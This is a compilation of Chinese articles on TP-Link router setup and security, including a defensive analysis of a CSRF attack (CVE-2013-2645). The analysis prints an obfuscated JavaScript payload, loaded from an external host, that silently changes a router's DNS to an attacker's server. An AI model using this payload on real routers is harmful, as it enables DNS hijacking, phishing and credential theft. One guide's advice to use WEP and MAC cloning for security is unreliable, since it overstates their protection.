- A+
【路由器指南】TP-Link怎么防蹭網？
TP-Link無線路由器是家庭用戶使用算比較多的，TP-Link怎么防蹭網？
這是很多新手朋友所困惑的。今天小編為大家帶來了詳細的TP-Link無線路由器安全設置攻略，可以保證您家中路由器99%的安全性。
隨著智能手機/平板電腦以及筆記本等無線設備的流行，無線網絡也早已悄然流行。對于絕大多數用戶而言，家中主要使用無線路由器實現家中的無線Wifi網絡覆蓋。不過如今蹭網橫行，很多朋友由于不注重路由器安全設置，從而很容易被蹭網。他人蹭網不僅影響網速，還可能泄露隱私，用戶有必加強路由器安全設置。屏蔽99%黑客，TP-Link無線路由器安全設置攻略如下。
TP-Link無線路由器防蹭網安全設置教程
所謂的TP-Link防蹭網設置，主要基于加強路由器安全設置，讓蹭網卡以及黑客找不到Bug，從而實現網絡安全，通過以下安全設置，可以有效阻斷99%的黑客攻擊，對于絕大多數用戶來說，基本可以達到絕對安全。廢話不多說，下面教大家如何設置路由器安全。
首先登陸TP-Link路由器設置管理界面。方法是打開瀏覽器，然后輸入192.168.1.1（或tplogin.cn)，然后輸入路由器登陸用戶名與密碼，大家可以在路由器外殼上的銘牌中找到這些登陸信息，如下圖所示。
TP-Link無線路由器登陸
Ps.小圖中為小編剛購買不久的新版TP-Link無線路由器，登陸時只需要輸入此前設置過的密碼即可，老款TP-Link路由器默認登陸用戶名與密碼均為admin。
一、修改路由器登陸地址
為了保障路由器后臺管理界面安全，我們首先需要修改登陸地址。登陸TP-Link路由器管理界面后，點擊左側的【網絡參數】，然后展開點擊【LAN口設置】，然后更改默認IP地址，如下圖所示。
建議大家將默認的192.168.1.1更改為其他地址，比如改成192.168.6.6（后面兩位任意修改即可），所示，修改完點擊保存，之后會提示要重啟生效，我們重啟一下即可。
注意，這個默認登陸地址改了之后，建議您最好記一下，以免后期自己忘記，也無法再登陸路由器管理了。
二、修改路由器默認賬戶名與密碼
多數TP-Link路由器默認用戶名與密碼均為默認的admin，這個是很不安全的，一旦被他人蹭網，他們可以隨意用這個眾多周知的賬號，登陸您的路由器，竊取寬帶賬號以及其他隱私信息，因此默認的admin賬號密碼也要該改掉。具體修改方法為，點擊左側底部的【系統工具】--【修改登陸密碼】，如下圖所示。
修改TP Link路由器管理密碼
Ps.您可以將路由器登密碼改成自己熟悉的賬號和密碼即可。比如密碼改成WwW.PC841.Com，修改之后，其他蹭網者或者黑客，就無法知道路由器登陸密碼，無法查看路由器內部信息了。
三、設置隱藏SSID
SSID是我們使用無線設備可以搜索到的無線網絡名稱，如果路由器設置隱藏SSID，那么其他的智能手機、筆記本就無法搜索到我們的無線網絡，這樣可以有效提升網絡安全。
TP-Link無線路由器設置隱藏SSID很簡單，在無線設置的基本安全設置中的，將【開啟SSID廣播】前面的勾去掉，然后點擊保存即可，如下圖所示。
隱藏TP-Link無線路由器SSID
Ps.隱藏SSID，黑客可以借助其他工具找到，不過可以讓大多數手機、本本用戶無法找到，除非使用專業工具搜索。
四、加強無線網絡密碼安全
進入TP-Link無線路由器中的【無線設置】中的【無線安全設置】，選擇最高等級的【WPA-PSK/WPA2-PSK】加密方式，將【PSK密碼】也就是Wifi無線密碼，盡量設置的復雜一些，長度大于8位，要包大小寫含字母和數字組合，提升無線密碼的復雜度和長度可以有效防止一些蹭網卡暴力破解無線密碼。
加強TP-Link無線路由器Wifi密碼安全
修改為高復雜難度密碼后，點擊底部的保存即可。
五、綁定Mac（高級安全設置）
在TP-Link無線路由器的【無線設置】中，點擊進入【無線MAC地址】設置，然后先開啟【MAC地址過濾】功能，然后將自家的電腦MAC地址或者手機MAC地址添加一一添加進來綁定，然后保存。
路由器mac設置，相當于將路由器與電腦或者手機/平板綁定，實現只有綁定設備才能上網，這樣可以有效保障路由器安全，其他設備即便破解了無線密碼，但由于沒有設備綁定，照樣無法上網。
六、安裝路由衛士或者360路由衛士工具防止蹭網
目前針對路由器安全，已經有軟件廠商推出了路由器安全衛士，另外360安全衛士中，也加入了路由器衛士，通過此類工具可以方便的查看接入無線路由器的設備，如果發現有陌生設備連接，我們可以將其禁用或者拉入黑名單，這樣也可以有效防止TP-Link被蹭網，很適合小白朋友推薦。
來源：電腦百事網
【家用網絡】TP-LINK路由基本設置介紹
前幾天有個同學讓我幫他設置路由，講了半天也沒弄清楚，今天我把我的路由連接上為大家講解一般家用路由的連接方法
下面我就以TL-WR841N路由器，為例用圖說明設置方法
1.請按下圖所示鏈接設備，power為電源、（1、2、3、4）lan為輸出端口、wan為網線插入端口、reset為重置鍵（需重置時拿尖物按住5秒）：有的會有一個SSID的開關
（此圖來自網絡）
將線路布局好，外網也就是ADSL哪根主線連接到路由的WAN口上（藍色口），LAN口接你需要上網的電腦網卡上（黃色）
2.每個路由器都有默認的IP地址，看看說明書就知道，我的192.168.1.1；有的tp或者dlink的可能會是192.168.0.1
a).在網上鄰居。本地連接，右擊屬性 然后選擇TCP/IP協議屬性將自己的電腦IP配置為192.168.1.x ，子網255.255.255.0網關192.168.1.1；
下面的dns：一般是運營商提供給我們的也可以路由設置完成后進行設置。如下圖。其實這一步我覺得完全可以不要也可以連接成功
PS：此步可以走控制面板中網絡連接去設置（條條大路通羅馬）
b).打開電腦上的Internet Explorer，輸入http://192.168.1.1/，進入路由器的配置界面；
這里提示輸入用戶名和密碼,一般默認的用戶名和密碼都是admin,在路由器說明書上也有寫著，
點擊確定后，即可進入路由器配置界面
注:TP-LINK的路由器默認IP基本都是192.168.1.1 密碼基本都是admin
進入路由器界面我們選擇設置向導.請看圖片
單擊下一步后我們會看見三個不同的上網方式選項
我給大家總結的上網方式（僅供參考）如何判斷上網模式呢開通網絡時，網絡運營商提供的上網參數上網方式用戶名和密碼PPPoE 固定的ip地址，子網掩碼，網關，DNS服務器靜態ip寬帶服務商沒有提供任何參數，不用路由器時可直接上網，計算機不需要做任何設置動態ip
然后根據自己的情況選擇正確的上網方式。這里我選擇adsl虛擬撥號,我們大多都是選擇它的，其他的靜態那是專線用戶選擇的，
我們這里不做詳細介紹,知道 寬帶用戶,鐵通,網通等虛擬撥號用戶,選擇它就行了。如下圖：
點過下一步后,會讓你輸入上網賬號和口令
輸入后，我們在下一步。 然后是讓你選擇你的無線狀態。這里SSID就是我們說的 無線連接的名稱。加密方式現在都是WPA2.
如果用WEP方式加密的話，那么對于有一點點計算機知識的人來說就可以用cdlinux或者BT3技術進行破解。
如果是wpa2估計只有業內人士了。你也可以直接關閉（即關閉無線功能）。然后下一步
下一步你會看見一個完成按鈕 有的時候是直接是重啟按鈕
最后一步選完成即可完成路由設置...
這樣設置后有時候我們還是不能上網怎么辦呢。下面做一個補充
我們在路由器左邊導航里選網絡參數.→WAN口設置
會出現如下圖片
在這里我們也填上那些賬號 口令之類的下面的鏈接方式一般選擇是自動連接 然后保存就ok啦
特別注意:
因為本路由器的DHCP服務是自動開起的,所以你只要接上PC電腦,路由器就會分配IP,
如何開啟dhcp服務呢。在路由器左邊導航里選dhcp服務器如下圖
選擇dhcp服務會出現如下圖
然后選擇啟用那個地址池可能是網絡鏈接的地址ip的范圍 這個建議是 2到253其他的直接默認就可以了這樣設置后基本上沒有問題了。
忘記還要重啟。在系統工具中有重啟路由的選項。不解釋上圖。重啟后就能上網啦
PS：這個介紹可能還有不足，比如說現在又很多的無線路由橋接功能。還有路由器的家長監控，綁定MAC（為了防止蹭網）
這些是路由具體的使用功能。我們在這就不在一一的闡述。如果有錯的地方就直接留言。我好更正。
TP-LINK路由的CSRF攻擊劫持DNS分析
提示點上方↑"黑客技術"免費訂閱哦！
電腦技術網點評：黑客真是無孔不入啊，慢著，這些人還不能稱為黑客，最多算個攪屎棍，干的都是些損人不利己的事情，攻擊系統，攻擊路由器，有些網友上網發現原來干干凈凈的網頁現在多了一些莫名其妙的廣告，恭喜你，你的DNS被篡改了，你想打開新浪網，輸入后顯示的就是某某私服，某某偽裝XX網站。下面是網友針對路由器CSRF攻擊劫持DNS篡改網絡的案例分析。
路由被CSRF攻擊，修改DNS的話題最近一直比較活躍，但是國內貌似沒有一個技術文章詳細的分析此漏洞，漏洞成因比較簡單，本篇來科普一下。
本篇講得是一個利用CVE-2013-2645的漏洞，來修改TP-LINK的DNS案例，針對其他路由的攻擊大同小異。0x01 EXP分析
攻擊者會在自己的網站或者已經受他控制的網站上加入一段javascript代碼：
document.write("<script type="text/javascript" src="http://www.xxxxxx.com/js/ma.js">");
javascript代碼動態的從外站加載一個ma.js的文件，看一下ma.js文件里的內容：
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k||e(c);k=[function(e){return d[e]}];e=function(){return'\w+'};c=1;};while(c--)if(k)p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k);return p;}('T w$=["\E\6\5\m\o\3\q\5\m\8\3\7\"\5\3\G\5\j\r\6\6\"\y\B\d\e\8\v\4\5\q\u\4\o\H\n\5\5\8\A\j\j\a\i\e\d\f\A\a\i\e\d\f\B\2\k\h\1\2\g\9\1\2\1\2\j\u\6\3\4\z\8\e\j\s\a\f\F\n\r\8\C\3\4\l\3\4\z\8\e\1\n\5\e\I\i\n\r\8\6\3\4\l\3\4\7\2\c\d\8\2\7\2\k\h\1\2\g\9\1\2\1\2\b\b\c\d\8\h\7\2\k\h\1\2\g\9\1\2\1\2\k\k\c\s\3\a\6\3\7\2\h\b\c\Q\a\5\3\x\a\m\7\b\1\b\1\b\1\b\c\i\v\e\a\d\f\7\c\i\f\6\6\3\4\l\3\4\7\2\b\g\1\2\9\P\1\D\g\1\9\R\c\i\f\6\6\3\4\l\3\4\h\7\9\1\9\1\9\1\9\c\C\a\l\3\7\p\t\2\p\S\D\O\p\t\K\p\J\g\L\N\E\j\6\5\m\o\3\y\q"];M["\x\4\d\5\3\o\f"](w$[0]);',56,56,'|x2e|x31|x65|x72|x74|x73|x3d|x70|x38|x61|x30|x26|x69|x6d|x6e|x36|x32|x64|x2f|x39|x76|x79|x68|x6c|x25|x20|x63|x4c|x42|x75|x6f|_|x77|x3e|x52|x3a|x40|x53|x33|x3c|x44|x78|x28|x3f|x45|x34|x29|document|x3b|x2b|x37|x67|x35|x41|var'.split('|'),0,{}))
嗯，是一段混淆的js代碼，eval執行一段混淆代碼，把eval換成console.log在瀏覽器的控制臺輸出一下：
var _$=["x3cx73x74x79x6cx65x20x74x79x70x65x3d"x74x65x78x74x2fx63x73x73"x3ex40x69x6dx70x6fx72x74x20x75x72x6cx28x68x74x74x70x3ax2fx2fx61x64x6dx69x6ex3ax61x64x6dx69x6ex40x31x39x32x2ex31x36x38x2ex31x2ex31x2fx75x73x65x72x52x70x6dx2fx4cx61x6ex44x68x63x70x53x65x72x76x65x72x52x70x6dx2ex68x74x6dx3fx64x68x63x70x73x65x72x76x65x72x3dx31x26x69x70x31x3dx31x39x32x2ex31x36x38x2ex31x2ex31x30x30x26x69x70x32x3dx31x39x32x2ex31x36x38x2ex31x2ex31x39x39x26x4cx65x61x73x65x3dx31x32x30x26x67x61x74x65x77x61x79x3dx30x2ex30x2ex30x2ex30x26x64x6fx6dx61x69x6ex3dx26x64x6ex73x73x65x72x76x65x72x3dx31x30x36x2ex31x38x37x2ex33x36x2ex38x35x26x64x6ex73x73x65x72x76x65x72x32x3dx38x2ex38x2ex38x2ex38x26x53x61x76x65x3dx25x42x31x25x41x33x2bx25x42x34x25x45x36x29x3bx3cx2fx73x74x79x6cx65x3ex20"];document["x77x72x69x74x65x6cx6e"](_$[0]);
仍然是混淆的代碼，但是比一開始的容易看很多，只是把一些字符串給轉成了16進制方式表示而已。
x77x72x69x74x65x6cx6e這段16進制表示的是字符串writeln。
javascript中document["writeln"]與document.writeln一樣，這是javascript兩種訪問對象屬性的寫法。
代碼最終等同于：
document.writeln('<style type="text/css">@import url(http://admin:admin@192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=106.187.36.85&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6);</style>')
現在就很明了了，寫了一個style標簽import一個css調用，讓瀏覽器去訪問這個地址：
http://admin:admin@192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=106.187.36.85&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6
很明顯的一個CSRF攻擊，攻擊者的主要目的是把dns服務器換成106.187.36.85，為了使攻擊成功，還加入了一些必要的提交參數，如ip范圍是從192.168.1.100-199等。
為了確保所有訪問都沒有問題，還加入了google的dns，當106.187.36.85有不能解析的域名時，去8.8.8.8獲取地址。
應當注意的是這個利用是根據路由的默認密碼進入后臺做一系列的操作的，如果路由器已經修改的默認用戶名密碼，可以避免此危害，但是如果瀏覽器已經在路由后臺，或者cookie還未失效，仍然能夠攻擊成功。0x02 修改DNS的危害
攻擊者為什么要修改DNS呢，當他獲取DNS的權限后，他能做什么呢：
1、用戶打開一個正常網站時，重定向到一個釣魚網站。
2、給正常網站加入掛馬代碼，控制用戶PC。
3、軟件升級時候不用簽名的話，可控制軟件的升級。
4、不使用證書的話可以截取郵箱密碼，網站上的密碼等等。
5、更改網站上的廣告，換成自己的。（我覺得這是天朝黑客獲取利潤的方式）0x03 如何避免這種攻擊
1、首先應該先檢查一下自己的dns是否已經被改變了。
2、升級路由的固件，有部分型號已經修復。
3、更改路由器的默認密碼。
4、登陸路由后，退出要點擊“注銷”。
【沃?設置】TP-Link路由器怎么設置？你不會小沃教你 TP-Link路由器的設置方法
在我們第一次配置無線寬帶路由器時，參照說明書找到無線寬帶路由器默認的IP地址是192.168.1.1，默認子網掩碼是255.255.255.0。由于TP-LINK TL-WR541G的配置界面是基于瀏覽器的，所以我們要先建立正確的網絡設置，我們已經將電腦A通過網卡連接到了無線寬帶路由器的局域網端口，接下來我們有兩種方法為電腦A設置IP地址。
1、
設置電腦A的IP地址為192.168.1.xxx（xxx范圍是2至254）,例如我們可以輸入192.168.1.6，子網掩碼是255.255.255.0，默認網關為192.168.1.1。
2、
設置電腦A的TCP/IP協議為“自動獲取IP地址”，然后關閉無線寬帶路由器和電腦A的電源，首先打開無線寬帶路由器電源，然后再啟動電腦A，這樣無線寬帶路由器內置的DHCP服務器將自動為電腦A設置IP地址。
在完成上面的步驟后，我們使用電腦A，打開一個IE瀏覽器的窗口，在地址欄上輸入http://192.168.1.1(輸入密碼默認是admin,admin)即可進入配置界面:
登陸之后首先運行設置向導，我已經把登陸運行向導功能關閉，大家可以在左邊欄點擊設置向導。點擊下一步出現如下圖所示:
在局域網內建設局域網（道理一樣），所以先介紹靜態ip的設置。點擊下一步出現如下圖格式:
大家現在可以設置你的外網IP等信息，這個僅供有固定ip用戶使用:
如果大家在上面選擇的是pppoe設置（寬帶撥號），則會彈出如上圖的窗口，把你的帳號和pw輸入點擊下一步即可:
經過以上的設置之后，在前兩個步驟點擊下一步（如果選擇的是動態ip則直接跳轉到這里）都會跳轉到如上圖的窗口。在這里我們可以選擇路由是否開啟無線狀態，默認是開啟的。SSID是無線局域網用于身份驗證的登錄名，只有通過身份驗證的用戶才可以訪問本無線網絡:
在模式這里可以選擇帶寬設置有11m、54m和108m共四個選項，只有11m和54m可以選擇頻段，共有1－13個頻段供選擇，可以有效的避免近距離的重復頻段。
大家應該發現了108m模式有兩個，一個是Static模式，另外一個是Dynamic模式。二者一個為靜態的一個為動態的，注意如果選擇了靜態108m模式，必須是支持速展tm功能的無線網卡才可以連接，建議選擇動態或54m自適應。
完成后會出現如上圖的所示，點擊完成。
現在進入了網絡參數設置的LAN口設置即你想組建的局域網網段，IP地址即你將要使用的網關：
IP地址設置好后，子網掩碼有255.255.255.0和255.255.0.0可以選擇。
如果選擇了255.255.255.0的話，最多可以使用254個ip地址，按照我設置的ip地址項表述的話就是100.100.100.1-100.100.100.254可以使用，但是路由器本身占用了.1的地址，所以只有253個。
如果選擇的是255.255.0.0，則可以使用100.100.0.1-100.100.255.254之間的除路由器占用的外的任意IP地址：
這個wan口設置就是剛才咱們使用設置向導設置好的廣域網（相對本局域網）信息：
大家應該看到了上圖wan口連接類型有7個可供選擇，根據自己的需要選擇即可：
mac地址克隆主要是外接設備需要綁定mac的時候，才需要更改為已允許的：
這個圖片是無線參數的基本設置，這里主要說明的是安全設置，當然你要開啟了才可以！
在這里可以添加允許或禁止的mac地址訪問本局域網絡，一般的家庭用的話，主機不多，建議啟用允許列表即可，記得添加允許的mac啊：
無論上一步選擇的是允許還是禁止列表中的添加都會轉到如上圖的窗口，并且可以在這里設置是允許的還是禁止的，可以選擇生效或失效：
TP-Link無線路由器正確的復位方法：請在路由器通電的情況下，按住后面板上標識為QSS/RESET的按鈕，持續5秒鐘以上，保持按壓的同時觀察SYS燈，當SYS燈由緩慢閃爍變為快速閃爍狀態時，表示路由器已成功恢復出廠設置，此時松開該按鈕，路由器將重啟。
一、硬件連接
1、
用網線將計算機直接連接到路由器LAN口。也可以將路由器的LAN口和局域網中的集線器或交換機通過網線相連。
2、
用網線將路由器WAN口和xDSL/Cable Modem或以太網相連。
3、
連接好電源，路由器將自行啟動。
二、建立正確的網絡連接
1、
計算機IP地址的設置。
右鍵點擊桌面上的“網上鄰居”圖標，選擇屬性，在打開的“網絡連接”頁面中，右鍵點擊“本地連接”，選擇屬性，在打開的“本地連接 屬性”頁面，選中“Intelnet 協議(TCP/IP)”點擊屬性，在“Intelnet 協議(TCP/IP) 屬性”頁面，選中“自動獲取IP地址”后點擊確定即可。
2、
使用Ping命令測試與路由器的連通。
在Windows XP 環境中，點擊開始－運行，在隨后出現的運行窗口輸入“cmd”命令，回車或點擊確定進入下圖所示界面：
輸入命令：Ping 192.168.1.1，回車，如果屏幕顯示為：
計算機已與路由器成功建立連接。如果屏幕顯示為：
這說明設備還未安裝好，請按照下列順序檢查：
1、硬件連接是否正確？
路由器面板上對應局域網端口的Link/Act 指示燈和計算機上的網卡指示燈必須亮。
2、計算機的TCP/IP 設置是否正確？
若計算機的IP 地址為前面介紹的自動獲取方式，則無須進行設置。若手動設置IP，請注意如果路由器的IP 地址為192.168.1.1，那么計算機IP 地址必須為192.168.1.X（X 是2 到254之間的任意整數），子網掩碼須設置為255.255.255.0，默認網關須設置為192.168.1.1。
三、TP-Link無線路由器的快速設置
打開網頁瀏覽器，在瀏覽器的地址欄中輸入路由器的IP地址：192.168.1.1，將會看到下圖所示登錄界面，輸入用戶名和密碼（用戶名和密碼的出廠默認值均為admin），點擊確定按鈕。
瀏覽器會彈出如下圖所示的設置向導頁面。如果沒有自動彈出此頁面，可以點擊頁面左側的設置向導菜單將它激活。
點擊下一步，進入下圖 所示的上網方式選擇頁面，這里根據我們的上網方式進行選擇，一般家庭寬帶用戶是pppoe撥號用戶。這里我們選擇第一項讓路由器自動選擇。
設置完成后，點擊下一步，將看到如下圖 所示的基本無線網絡參數設置頁面。
無線狀態：開啟或者關閉路由器的無線功能
SSID：設置任意一個字符串來標識無線網絡
信道：設置路由器的無線信號頻段，推薦選擇自動
模式：設置路由器的無線工作模式，推薦使用11bgn mixed 模式
頻段帶寬：設置無線數據傳輸時所占用的信道寬度，可選項有：20M、40M 和自動
最大發送速率：設置路由器無線網絡的最大發送速率
關閉無線安全：關閉無線安全功能，即不對路由器的無線網絡進行加密，此時其他人均可以加入該無線網絡。
WPA-PSK/WPA2-PSK：路由器無線網絡的加密方式，如果選擇了該項，請在PSK 密碼中輸入密碼，密碼要求為8-63 個ASCII 字符或8-64 個16 進制字符。
不修改無線安全設置：選擇該項，則無線安全選項中將保持上次設置的參數。如果從未更改過無線安全設置，則選擇該項后，將保持出廠默認設置關閉無線安全。
設置完成后，單擊下一步，將彈出下圖所示的設置向導完成界面，單擊重啟使無線設置生效。
重啟以后TP-Link無線路由器的基本設置就完成了。
TP-Link開始鎖定路由器來禁止用戶運行OpenWRT/Tamoto第三方固件
點擊標題下「藍點網」可快速關注我們噠~
來自中國的路由器制造商普聯技術（TP-LINK）日前開始鎖定其旗下生產的路由器設備。
鎖定的原因在于美國聯邦通信委員會（Federal Communications Commission，FCC）為了防止無線信號存在干擾而限定用戶只能使用它們允許的頻率（如不能超過5Ghz的頻率）、發射功率和協議。
然而在技術上用戶想要更改路由器的頻率等是非常容易的，最簡單的辦法就是運行第三方開源路由器固件如OpenWRT、DD-WRT、Tomato等。
不過TP-Link已經在美國市場開始鎖定用戶的路由器，從而讓設備只能運行帶有TP-LINK簽名認證的固件。
如果用戶試圖來將TP-LINK路由器刷入其他固件則會直接收到錯誤代碼18005的提示。
目前TP-LINK的員工已經證實其公司生產的路由器已經被鎖定、未來生產的產品也會被鎖定，無法運行其他未經TP-LINK認證的固件。
第三方開源固件主要在于功能強大、可定制性高，只要用戶愿意可以對固件作任意修改從而實現更多原廠固件無法實現的功能。
對于修改無線網絡的頻率、發射功率以及使用的協議上對于第三方開源固件而言輕而易舉。
目前只有TP-LINK開始鎖定了美國市場上的路由器，對于其他路由器制造商相信也會很快跟進。
當然對于其他地區的用戶來說就不用擔心什么了，畢竟這只是FCC在美國的規定的。
TP-Link無線路由器設置與安全
?提示點上方↑"黑客技術"免費訂閱哦!黑客技術（hackerjishu）——不一樣的黑客，不一樣的技術，百萬人訂閱的微信大號。點擊標題下藍字“黑客技術”免費關注，我們將為您提供有價值、有意思的黑客技術。
目前隨著電腦價格的越來越低，一家用多臺電腦（臺式、筆記本）的朋友就比較多了，那么這肯定要用到路由器。今天就給大家說說“TP-Link無線路由器”的使用。
一、無線路由器的初始設置。
二、無線路由器的安全設置。
一、無線路由器的初始設置：
架設好無線路由器之后，我們就要開始對它進行設置了。
1.右擊“網上鄰居”——“屬性”
2.在彈出的對話框中，找到“無線本地連接” ，右擊，選擇“屬性”。
3.在彈出的“無線網絡屬性”中，選擇“常規”選項卡，再選擇“Internet協議（TCP/IP）”，并雙擊打開。
4.在彈出的對話框中選擇“使用下面的IP地址”。
并填上：
IP： 192.168.1.2
子網掩碼：255.255.255.0
網關：192.168.1.1
單擊“確定”。
5.再在 “無線網絡屬性”中，選擇“查看無線網絡”。
6.再在彈出的無線連接表中，找到自己的無線路由器，點擊，并選擇“連接”。
注意：一般信號最強的且沒有加密的（沒有小鎖的標記）就是自己的。
7.可以看到，正在連接中。
8.OK！連接上了。這下，我們才進入無線路由器，去配置。
9.打開IE瀏覽器，在地址欄中輸入“192.168.1.1”。按回車。
再在彈出的對話框中輸入：用戶名和密碼。（新買來的路由器的默認用戶名和密碼都是admin）
10.OK！進去了，此時，可以看到無線路由器的界面了。繼續，我們選擇“設置向導”。（建議新手都選擇“設置向導”）
點擊“下一步”。
11.在這里，由于我們大多數人都基本上是用的ADSL上網的。所以，我們就選擇“ADSL虛擬撥號（PPPoE）”。再點擊“下一步”。
注意：有些朋友是接的大樓局域網，很有可能是動態或靜態IP的方式。具體問題就具體查看自己的情況了。
12.然后，輸入你的ADSL上網的賬號和密碼。（就是安裝寬帶時，工作人員給你的賬號和密碼，一般就是在桌面上“寬帶連接”的那個賬號和密碼）
點擊“下一步”。
13.到了這里，我們可以更改我們的SSID號。改不改全看自己。我就改成了“cfanclub-qsw753"。（改成自己想要的名字可以方便在無線連接表里查看）
再選擇在“模式”這欄選擇你的無線網卡的模式。（無線網卡有802.11b、802.11g兩種，具體看自己的情況。不過現在的路由器都有兼容802.11b、802.11g兩種的模式）
注意：如果你的網卡是802.11b，而你的路由器設置成802.11g。那么無線就會問題。或者連接不上。
14.我的筆記本的無線網卡就是802.11b的。所以選擇了802.11b。再點“下一步”。
15.最后，路由器提示完成。點擊“完成”。
OK！無線路由器的初始配置就完成了。朋友們可以盡情地享受無線帶來的樂趣了。呵呵~
二、無線路由器的安全設置：
為什么有時候會突然很慢，為什么有時候會連接不上？有朋友會問。這是因為我們只是對無線路由器作了初始化配置，還沒有對路由器進行安全配置。有時候會突然變得很慢，是因為有人蹭網。有時候連接不上，是別人進入路由器把你踢走了。很郁悶吧！
來！我們加強一下網絡安全。
1.打開“無線網絡連接”表，連接自己的路由器。并打開IE瀏覽器，在地址欄中輸入“192.168.1.1”。按回車。再在彈出的對話框中輸入：用戶名和密碼。（由于我們沒有對它進行更改，所以用戶名和密碼還是admin）
2.進入無線路由器之后，我們選擇“網絡參數”——“MAC地址克隆”這欄，在右邊選擇“克隆MAC地址”。并點“保存”。
這步操作，是確定管理無線路由器的唯一性。這樣的話，別人就無法對無線路由器進行管理了。
所以，進入無線路由器的電腦，最好是選擇自己的電腦。
3.接著在“無線參數”——“基本設置”中，去掉“允許SSID廣播”、“開啟安全設置”。
4.再在“無線本地連接”屬性中，選擇“無線網絡配置”選項卡。在其中選擇自己的SSID號（我的SSID是cfanclub-qsw753）。單擊“屬性”。
5.在彈出的對話框中，勾選“即使此網絡未廣播也進行連接”“WEP”“自動為我提供此密鑰”。
6.再選擇“連接”選項卡，勾選“當此網絡在此區域內時連接”。點擊“確定”。
這兩部，是隱藏自己的SSID號的。（這主要適合在比較固定的地點使用）
7.此時，我們重新啟動電腦后，就可以自動連接了。（建議重啟電腦）
同樣，還是進入無線路由器的配置界面。選擇“DHCP服務器” ——“DHCP服務”。
選擇“啟動”，單擊“保存”。
8. 再選擇“DHCP服務器”——“靜態地址分配”。
再選擇“添加新條目”。
這時會出現一個新畫面。暫時不管它。
9.回到桌面，點擊“開始”——“運行”，在“運行”中輸入“cmd”。
10.在彈出的“黑色”對話框中，輸入：ipconfig/all。
11. 找到“無線本地連接”的信息，把右邊打圈的字符（即MAC地址）輸入到左邊去。
12. 接著輸入你想設置的IP。如：192.168.1.101.（只要在DHCP地址分配范圍的都可以）
再點“保存”。
13.可以看到靜態地址分配生效了。
步驟7至13主要是防止DHCP地址被盜用。導致自己無法獲取IP，而不能上網。
14. 接著，選擇“安全設置”——“防火墻設置”。并勾選“開啟防火墻”“開啟域名過濾”“開啟MAC地址過濾”“允許已設MAC地址列表。。。。。”這四項。
點擊“保存”。
15. 再選擇“安全設置”——“域名過濾”。點擊“添加新條目”。
16.在出現的新界面中，輸入你想要屏蔽的惡意網站。（我在這里就那新浪做個例子，申明一下新浪不是惡意網站）
17. 可以看到添加成功。
18.此時，我們在輸入:www.sina.com這個網址，就進不去了。
步驟15至18，主要是屏蔽惡意網站用的。雖然我們電腦里有桌面防火墻可以做到這一點，但是我們在路由器里設置了，路由器直接處理了，就不轉發到我們電腦上來，降低了電腦的工作量。
19. 接著選擇“安全設置”——“MAC地址過濾”。同樣點擊“添加新條目”。
20. 輸入你要想上網的電腦的MAC地址。只有輸入了MAC地址的電腦，才能上網，其它的都不行。
再點“保存”。
（查詢MAC地址的方法，在步驟9至11都說得很清楚了）
21. 這里我們可以看到添加成功了。
22. 防范ARP攻擊。選擇“IP與MAC綁定”——“ARP映射表”。我們可以看到，IP與ARP沒有綁定。我們點擊“導入”。
23.再選擇“IP與MAC綁定”——“靜態ARP綁定設置”。并勾選“啟用”“綁定”。
24.接著選擇“系統工具”——“修改登錄口令”。修改后，再點“保存”。
注意：保存之后，就會彈出一個登錄框，此時要求你輸入修改后的用戶名和密碼。
（一定要修改，因為所有的路由器默認初始用戶名和密碼都是admin）
25.回到電腦上，進入“網上鄰居”——“屬性”——“無線本地連接”——“屬性”。
再在彈出的“無線網絡屬性”中，選擇“常規”選項卡，再選擇“Internet協議（TCP/IP）”，并雙擊打開。
最后在彈出的對話框中選擇“自動獲得IP地址”。并點擊“確定”。
重啟電腦！
OK！大功告成！慢慢地享受你的安全環境下的無線網絡吧~
讓那些蹭網的混球，滾蛋去吧~
哈哈~
以上就是TP-Link無線路由的基本配置和安全配置。步驟已經說得很簡單、很細致了、很清楚了。
●●END●●
黑客技術
微信號：hackerjishu
提供有價值、有意思的黑客技術
長按圖片 識別二維碼關注
覺得不錯，請點贊↓↓↓
TP-LINK爆款120元無線路由器TL-WR890N開箱
家里之前就是TP-LINK的路由器，雖然風云變化，已經有了很多智能路由器，但自己總覺得也沒有很多應用，用個普通路由器就可以了，放在廳里，輻射兩個房間，要求不多。
不過，最近老款產品經常出現掉線的情況，大概一周一次左右，考慮到其已經服役了3年的情況，所以還沒有生氣。考慮了一番，花120元買了一個新的，也就是這次所體驗的TP-LINK TL-WR890N。
這款產品采用金屬外殼，支持IEEE 802.11b/g/n，無線傳輸率450Mbps。其特點是鋁合金一體成型，可以有效抑制內部輻射電磁的對外傳輸，以及屏蔽外界其他電子設備的電磁干擾，保證整機在長時間正常運行，穩定不掉線。
而從兩根天線增加到3根，采用3*3MIMO架構， 3根天線同時進行收發，能夠大幅提升無線性能，同時提高信號強度，增大覆蓋范圍，增強連接穩定性，這也是我比較看重的。
有人說兩根天線，塑料機身，滿身都是開孔的智能路由器更好，但我還是覺得，能夠減少點輻射，增加點信號強度，增強點散熱，不是更好嗎，為什么非要那個智能二字呢。況且，不智能的就沒有那些功能？也不盡然。
盒子還是很大的
3*3MIMO架構
包裝是很簡樸的，畢竟很便宜的產品，不能都要求到
介紹了很多基本應用，不過其安裝過程確實比較簡化了
可放倒但不可拆卸的天線
金屬機身效果還是很好的，陽極氧化處理，類似充電寶外殼
前端過于簡潔，不過我們也基本不用看指示燈吧
背面接口
與我的老款產品對比，散熱孔已經落滿了灰塵
一個是金屬，一個是密集的散熱孔
兩個充電源規格也是一樣的，可以通用
灰色的造型富含科技感，與家具還是很搭的
登陸網址后，其界面還是很清爽的，可以選擇主人網絡和訪客網絡，這樣給對方密碼也不用擔心了
各種設置和狀態一目了然
已連接的臺式機和手機，由于臺式機我的無線網卡也有天線，所以信號滿格
例如無線橋接，信號調節，IP綁定等小功能都做成了應用的形式，這樣隨時更新增加很方便
